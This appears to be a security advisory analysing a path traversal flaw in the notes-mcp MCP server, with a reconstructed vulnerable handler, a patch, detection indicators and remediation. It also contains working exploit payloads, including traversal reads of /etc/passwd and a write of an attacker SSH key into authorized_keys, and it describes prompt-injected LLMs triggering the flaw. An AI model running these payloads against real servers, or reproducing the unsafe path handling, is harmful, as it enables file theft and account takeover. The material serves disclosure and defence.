home intel cve-2026-7212-notes-mcp-path-traversal
CVE Analysis 2026-04-28 · 7 min read

CVE-2026-7212: Path Traversal in notes-mcp via Unsanitized root_dir

notes-mcp ≤0.1.4 exposes arbitrary filesystem read/write through unsanitized path arguments in its MCP tool handlers. An attacker with MCP client access can escape the intended notes directory.

#path-traversal#directory-traversal#input-validation#file-access#remote-exploitation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7212 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7212HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7212 is a path traversal vulnerability in edvardlindelof/notes-mcp, an MCP (Model Context Protocol) server that exposes filesystem-backed note management to LLM clients. Versions up to and including 0.1.4 fail to canonicalize or validate path arguments passed to note read/write/delete tool handlers before constructing filesystem paths. An attacker who can issue MCP tool calls — either directly or by injecting prompts into an LLM session backed by this server — can read, write, or delete arbitrary files accessible to the process.

CVSS 7.3 (HIGH) reflects remote exploitability via the MCP transport layer, high confidentiality and integrity impact, and no authentication requirement beyond MCP client access. The project was notified via a public issue report but has not responded at time of publication.

Affected Component

The vulnerability lives entirely in notes_mcp.py, specifically in the tool handler functions that accept a path or implicitly construct one from root_dir + a caller-supplied note name. The MCP server registers several tools — read_note, write_note, delete_note, list_notes — each of which builds a filesystem path from attacker-controlled input without sanitization.

The root_dir is configured at server startup and is intended to act as a jail. It does not function as one.

Root Cause Analysis

The core pattern repeated across all affected handlers is a bare os.path.join(root_dir, path) with no subsequent os.path.realpath or prefix validation. Python's os.path.join has well-documented behavior: if any component is an absolute path, all prior components are discarded. Additionally, relative traversal sequences (../) are not stripped.


# notes_mcp.py — reconstructed from behavior, ~v0.1.4
# Tool handler registration via FastMCP / mcp SDK

import os
from mcp.server.fastmcp import FastMCP

mcp = FastMCP("notes")

# Configured once at startup — intended as the sandbox root
ROOT_DIR = os.environ.get("NOTES_DIR", os.path.expanduser("~/notes"))

@mcp.tool()
def read_note(path: str) -> str:
    """Read a note by path."""
    # BUG: os.path.join does not prevent traversal.
    # If path = "../../etc/passwd", full_path escapes ROOT_DIR entirely.
    # If path = "/etc/passwd", os.path.join discards ROOT_DIR completely.
    full_path = os.path.join(ROOT_DIR, path)   # BUG: no canonicalization
    with open(full_path, "r") as f:            # BUG: opens attacker-controlled path
        return f.read()

@mcp.tool()
def write_note(path: str, content: str) -> str:
    """Write content to a note."""
    full_path = os.path.join(ROOT_DIR, path)   # BUG: same pattern
    os.makedirs(os.path.dirname(full_path), exist_ok=True)
    with open(full_path, "w") as f:            # BUG: arbitrary file write
        f.write(content)
    return f"Written to {full_path}"

@mcp.tool()
def delete_note(path: str) -> str:
    """Delete a note."""
    full_path = os.path.join(ROOT_DIR, path)   # BUG: same pattern
    os.remove(full_path)                       # BUG: arbitrary file delete
    return f"Deleted {full_path}"
Root cause: All note tool handlers construct filesystem paths via os.path.join(ROOT_DIR, attacker_path) without calling os.path.realpath() and verifying the result shares the ROOT_DIR prefix, allowing both relative (../) and absolute path injection to escape the intended directory jail.

Exploitation Mechanics

The attack surface is the MCP tool call interface. Any MCP client — including an LLM agent session, a direct stdio or SSE client, or a prompt-injected LLM — can invoke these tools with arbitrary path arguments. No authentication is required beyond having a connected MCP session.


EXPLOIT CHAIN — arbitrary file read via read_note:

1. Attacker establishes MCP client session (stdio transport or SSE endpoint).

2. Issue tool call:
     {"tool": "read_note", "arguments": {"path": "../../etc/passwd"}}

3. Server evaluates:
     ROOT_DIR  = "/home/user/notes"
     full_path = os.path.join("/home/user/notes", "../../etc/passwd")
               = "/home/user/notes/../../etc/passwd"
               → resolves to "/etc/passwd" on open()

4. open("/home/user/notes/../../etc/passwd", "r") succeeds.
   Full file contents returned to MCP client in tool response.

EXPLOIT CHAIN — arbitrary file write via write_note:

1. Same session setup.

2. Issue tool call:
     {
       "tool": "write_note",
       "arguments": {
         "path": "../../.ssh/authorized_keys",
         "content": "ssh-ed25519 AAAA... attacker@host"
       }
     }

3. Server evaluates:
     full_path = os.path.join("/home/user/notes", "../../.ssh/authorized_keys")
               → resolves to "/home/user/.ssh/authorized_keys"

4. os.makedirs() creates intermediate directories if absent.
   open(..., "w") overwrites authorized_keys → SSH key injection → RCE.

EXPLOIT CHAIN — absolute path bypass via write_note:

1. Issue tool call:
     {"tool": "write_note", "arguments": {"path": "/tmp/pwned", "content": "x"}}

2. os.path.join("/home/user/notes", "/tmp/pwned") == "/tmp/pwned"
   Python silently discards ROOT_DIR when second arg is absolute.

3. File written to /tmp/pwned — ROOT_DIR completely bypassed.

Memory Layout

This is a logic vulnerability, not a memory corruption bug — there is no heap or stack state to diagram. The "corruption" is at the filesystem and process security boundary level. The relevant state diagram is path resolution:


PATH RESOLUTION — INTENDED vs ACTUAL

INTENDED (secure) path construction:
  ROOT_DIR  = /home/user/notes          [trusted, fixed]
  input     = "subfolder/note.txt"      [untrusted]
  realpath  = /home/user/notes/subfolder/note.txt
  prefix ok?  YES → allow open()

ACTUAL (vulnerable) path construction — relative traversal:
  ROOT_DIR  = /home/user/notes
  input     = "../../etc/shadow"
  joined    = /home/user/notes/../../etc/shadow
  kernel resolves → /etc/shadow
  prefix check: NONE → open() proceeds

ACTUAL (vulnerable) path construction — absolute injection:
  ROOT_DIR  = /home/user/notes
  input     = "/etc/shadow"
  joined    = /etc/shadow              [ROOT_DIR silently dropped by os.path.join]
  prefix check: NONE → open() proceeds

  os.path.join semantics (CPython):
    join(a, b) where b starts with '/' → returns b, discards a entirely
    join(a, b) where b = "../../x"    → returns "a/../../x" (not normalized)

Patch Analysis

The fix requires two independent checks: normalize the joined path to its real absolute form via os.path.realpath(), then assert the result is prefixed by the canonical ROOT_DIR. Both checks are necessary — realpath alone is insufficient if ROOT_DIR itself contains symlinks; the prefix check alone is insufficient without normalization.


# BEFORE (vulnerable, ≤0.1.4):
def read_note(path: str) -> str:
    full_path = os.path.join(ROOT_DIR, path)
    with open(full_path, "r") as f:
        return f.read()

# AFTER (patched):
# Normalize ROOT_DIR once at startup to handle symlinks in the base dir.
ROOT_DIR_REAL = os.path.realpath(ROOT_DIR)

def _safe_join(root: str, untrusted: str) -> str:
    """
    Construct a path guaranteed to reside within root.
    Raises ValueError on traversal attempt.
    """
    # os.path.realpath resolves all symlinks and normalizes ../
    # This must be called on the joined path, not the components separately.
    candidate = os.path.realpath(os.path.join(root, untrusted))
    # Ensure candidate is within root. Append os.sep to prevent
    # prefix collision: /home/user/notes-extra vs /home/user/notes
    if not candidate.startswith(ROOT_DIR_REAL + os.sep) and \
       candidate != ROOT_DIR_REAL:
        raise ValueError(
            f"Path traversal detected: {untrusted!r} escapes root"
        )
    return candidate

def read_note(path: str) -> str:
    full_path = _safe_join(ROOT_DIR_REAL, path)   # raises on traversal
    with open(full_path, "r") as f:
        return f.read()

def write_note(path: str, content: str) -> str:
    full_path = _safe_join(ROOT_DIR_REAL, path)   # raises on traversal
    os.makedirs(os.path.dirname(full_path), exist_ok=True)
    with open(full_path, "w") as f:
        f.write(content)
    return f"Written to {full_path}"

def delete_note(path: str) -> str:
    full_path = _safe_join(ROOT_DIR_REAL, path)   # raises on traversal
    os.remove(full_path)
    return f"Deleted {full_path}"

An alternative hardening layer is to run the MCP server process under a dedicated low-privilege user with a chroot or Linux namespace restricting filesystem visibility to ROOT_DIR only — this makes path traversal a non-issue at the OS level regardless of application logic correctness.

Detection and Indicators

Detection requires logging the resolved full_path before open(), not the raw path argument. If only the raw argument is logged, ../../etc/passwd looks like a strange note name rather than a traversal. Key detection signals:


DETECTION INDICATORS:

1. MCP tool call logs containing path arguments with:
   - ".." sequences: ../../, ..%2F, ..%5C (URL-encoded variants)
   - Absolute paths: leading "/" or Windows drive letters "C:\"
   - Null bytes: path = "note.txt\x00../../etc/passwd" (on older Pythons)

2. File access audit (auditd / inotifywait / fs-watch):
   - Process reading files outside configured NOTES_DIR
   - Unexpected reads of: /etc/passwd, /etc/shadow, ~/.ssh/,
     ~/.bashrc, ~/.aws/credentials, ~/.config/

3. MCP tool response inspection:
   - Responses containing passwd-format lines (uid:gid patterns)
   - Responses containing PEM headers (-----BEGIN ... KEY-----)
   - write_note responses echoing paths outside expected prefix

4. Process behavior:
   - notes-mcp process opening files with O_WRONLY to ~/.ssh/authorized_keys
   - Unexpected directory creation via makedirs outside NOTES_DIR

Remediation

Immediate: Pin to a patched release once the maintainer ships one. Until then, operators running notes-mcp ≤0.1.4 should apply the _safe_join wrapper locally or restrict the process via OS-level controls.

Defense in depth (all apply independently):

  • Set NOTES_DIR to a dedicated directory owned by a dedicated service user with no access to sensitive paths like ~/.ssh, ~/.aws, or /etc.
  • Run the server under a restricted user or in a container/VM with a minimal filesystem mount that contains only the notes directory.
  • Apply seccomp or AppArmor/SELinux profiles restricting open() syscalls to paths under NOTES_DIR.
  • Audit all MCP tool calls at the transport layer; reject path arguments containing .. or leading / as an early filter (not a replacement for realpath-based validation).
  • For LLM-backed deployments, treat prompt injection as a realistic attack vector — a malicious document processed by the LLM can instruct it to call read_note("../../etc/shadow") without any direct attacker MCP access.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →